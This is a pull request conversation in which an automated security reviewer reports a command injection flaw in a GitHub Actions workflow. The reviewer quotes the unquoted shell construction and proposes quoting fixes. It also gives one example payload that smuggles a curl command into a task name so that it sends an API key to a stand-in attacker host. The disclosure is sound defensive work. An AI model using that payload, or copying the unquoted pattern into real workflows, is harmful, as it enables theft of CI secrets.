Conversation
There was a problem hiding this comment.
Security Issues
- Command Injection in GitHub Actions workflow
User-controlled input fromworkflow_dispatch(task_names/task_names_override) is split and directly appended to a shell command without quoting:task_name_flags="$task_name_flags --task-name $task", then expanded unquoted in theuv runinvocation. A malicious task name (e.g., containing;, backticks, or$(...)) can break out of the argument context and execute arbitrary shell commands on the GitHub Actions runner. Since this job loads repository secrets (e.g.,ANTHROPIC_API_KEY,OPENROUTER_API_KEY, etc.), an attacker with permission to trigger the workflow could exfiltrate secrets.
.github/workflows/harbor.yml (line 390)
Untrusted workflow inputs (task_names / task_names_override) are split and appended to a shell command without quoting, enabling command injection on the Actions runner.
Vulnerable construction:
for task in "${TASKS[@]}"; do
task=$(echo "$task" | xargs)
task_name_flags="$task_name_flags --task-name $task"
done
...
uv run harbor run \
... \
$task_name_flags \
--jobs-dir jobs/terminal-bench \
...An attacker who can trigger this workflow_dispatch could supply a task name like foo; curl https://attacker.tld/x?$ANTHROPIC_API_KEY to execute arbitrary commands and exfiltrate secrets configured for the job.
Remediation options:
- Safely quote each dynamic argument when building flags (e.g., using
printf '%q'). - Prefer Bash arrays for argument construction and expansion:
args+=(--task-name "$task")and lateruv run ... "${args[@]}".
Minimal single-line fix for the vulnerable line:
task_name_flags="$task_name_flags --task-name $(printf '%q' "$task")"
For more details, see the finding in Corridor.
Provide feedback: Reply with whether this is a valid vulnerability or false positive to help improve Corridor's accuracy.
Merging this PR will not alter performance
Comparing Footnotes
|
based of this: https://papers.cool/arxiv/2512.22087